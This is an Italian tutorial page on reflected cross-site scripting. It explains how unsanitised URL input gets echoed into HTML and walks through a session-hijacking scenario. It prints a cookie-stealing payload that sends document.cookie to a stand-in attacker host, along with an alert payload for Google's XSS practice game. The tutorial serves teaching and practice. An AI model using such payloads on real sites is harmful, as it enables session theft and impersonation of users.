Web7: Exploit XSS – Parte 1: XSS riflesso

Web7: Exploit XSS – Parte 1: XSS riflesso

Che cos'è il Cross-Site Scripting?

Il Cross-Site Scripting (XSS) è una delle tecniche di attacco più diffuse oggi, conosciuta come il Padrino dell'attacco, e da molti anni è considerata la tecnica di attacco più pericolosa per le applicazioni web.

Non chiamatelo CSS in breve per evitare confusione con il concetto di Cascading Style Sheet dell'HTML.
La tecnica
XSS si basa sull'inserimento di script pericolosi nel codice sorgente dell'applicazione web. Eseguire codice Javascript dannoso per assumere il controllo della sessione di accesso dell'utente.

Per comprendere meglio consideriamo il seguente esempio. Un'applicazione web che consente di stampare il valore che passiamo tramite l'URL, presupponendo che passiamo nella variabile nome il valore Ping:

Web7: Exploit XSS – Parte 1: XSS riflesso

Per ora va tutto bene, rivediamo il codice sorgente html:

Web7: Exploit XSS – Parte 1: XSS riflesso

Ciò che è facile vedere è che il valore del nome che abbiamo inserito è stato inserito nel codice sorgente. Quindi è possibile che ciò che viene importato possa essere anche inserito. Il problema diventa serio se il valore inserito non è una stringa normale come sopra ma un pezzo di codice potenzialmente pericoloso, qualcosa del genere:

 

Riprova con il valore sopra:

Web7: Exploit XSS – Parte 1: XSS riflesso

Da questo esempio possiamo concludere due cose. Innanzitutto, la variabile name può ricevere qualsiasi valore di input e trasmetterlo al server per l'elaborazione. In secondo luogo, il server non ha controllato questo valore di input prima di restituirlo al browser. Ciò porta all'inserimento del codice JavaScript nel codice sorgente.

XSS è generalmente diviso in 3 tipologie principali: riflesso, memorizzato e basato su DOM. In questo articolo menzionerò principalmente la tecnica XSS riflessa.

Fino al 75% delle tecniche XSS si basano su XSS riflesso. Si chiama riflesso perché in questo tipo di scenario di exploit, l'hacker deve inviare alla vittima un URL contenente codice dannoso (solitamente javascript). La vittima deve solo richiedere questo URL e l'hacker riceverà immediatamente una risposta contenente il risultato desiderato (riflessività mostrata qui). Inoltre, è anche noto come XSS del primo ordine.

Scenario minerario nella vita reale

Esistono molti modi per sfruttare l'errore XSS riflesso, uno dei modi più noti è prendere il controllo della sessione dell'utente, accedendo così ai dati e ottenendo i propri diritti sul sito web. .

I dettagli sono descritti nei seguenti passaggi:

Web7: Exploit XSS – Parte 1: XSS riflesso

1. L'utente accede al Web e presuppone che sia assegnata una sessione:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. In qualche modo, l'hacker invia all'utente l'URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Supponiamo che example.com sia il sito Web visitato dalla vittima, hacker-site.net sia il sito creato dall'hacker

3. La vittima accede all'URL sopra

4. Il server risponde alla vittima, insieme ai dati contenuti nella richiesta (snippet javascript dell'hacker)

5. Il browser della vittima riceve la risposta ed esegue il javascript

6. Il Javascript effettivo creato dall'hacker è il seguente:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

La riga di comando sopra essenzialmente effettua una richiesta al sito dell'hacker con il parametro che è il cookie dell'utente:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Dal tuo sito, l'hacker catturerà il contenuto della richiesta di cui sopra e considererà la sessione dell'utente presa in consegna. A questo punto, l'hacker può impersonare la vittima ed esercitare tutti i diritti sul sito web di cui dispone la vittima.

Pratica

Google ha creato una pagina per esercitarsi nello sfruttamento degli errori XSS qui: https://xss-game.appspot.com

L'obiettivo di queste sfide è che devi inserire script per far apparire un popup. La prima sfida è illustrare la tecnica riflessa, il codice di sfruttamento è abbastanza semplice:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Buona fortuna!


5 modi più semplici per inserire la chiave di Windows 10

5 modi più semplici per inserire la chiave di Windows 10

Quando la vecchia chiave Windows 10 è scaduta, è necessario inserire una nuova chiave per sostituirla. Scopri i 5 metodi più semplici per cambiare la chiave di attivazione di Windows 10.

Come creare un nuovo Utente su Windows 10 utilizzando Gestione Computer e Pannello di Controllo

Come creare un nuovo Utente su Windows 10 utilizzando Gestione Computer e Pannello di Controllo

Scopri come creare un nuovo utente su Windows 10 senza utilizzare un account Microsoft. Attraverso Gestione Computer e Pannello di Controllo, è possibile proteggere i dati e gestire gli accessi in modo efficace.

Come modificare le impostazioni regionali su Windows 10

Come modificare le impostazioni regionali su Windows 10

Scopri come modificare le impostazioni regionali su Windows 10 per personalizzare l

Come scrivere il simbolo del copyright © (simbolo del copyright) su un computer

Come scrivere il simbolo del copyright © (simbolo del copyright) su un computer

Il simbolo del copyright (©) è un carattere speciale comunemente utilizzato da fotografi e creatori di contenuti. Scopri come inserirlo su Windows e Mac con metodi aggiornati.

Come risolvere lerrore Il nome del PC non è valido su Windows 11

Come risolvere lerrore Il nome del PC non è valido su Windows 11

Scopri come correggere l

Come eliminare le cartelle Rullino fotografico e Immagini salvate in Windows 10

Come eliminare le cartelle Rullino fotografico e Immagini salvate in Windows 10

Scopri come spostare, nascondere o eliminare le cartelle Rullino fotografico e Immagini salvate in Windows 10 in modo efficace. Segui i nostri passaggi e suggerimenti per semplificare la tua esperienza.

Come trovare la posizione dei file scaricati sul Chromebook

Come trovare la posizione dei file scaricati sul Chromebook

Scopri come localizzare facilmente i file scaricati su Chromebook utilizzando diversi metodi efficaci.

Come visualizzare ed eliminare la cronologia delle attività su Windows 10

Come visualizzare ed eliminare la cronologia delle attività su Windows 10

Fai riferimento a come visualizzare ed eliminare la cronologia delle attività su Windows 10 nell

Istruzioni per lutilizzo dellindirizzo IP 192.168.2.2

Istruzioni per lutilizzo dellindirizzo IP 192.168.2.2

Scopri come utilizzare l

Come modificare le impostazioni degli effetti visivi in ​​Windows 10

Come modificare le impostazioni degli effetti visivi in ​​Windows 10

Scopri come modificare le impostazioni degli effetti visivi in Windows 10 per migliorare le prestazioni del PC. Questo articolo guida ti mostrerà tutti i passaggi necessari.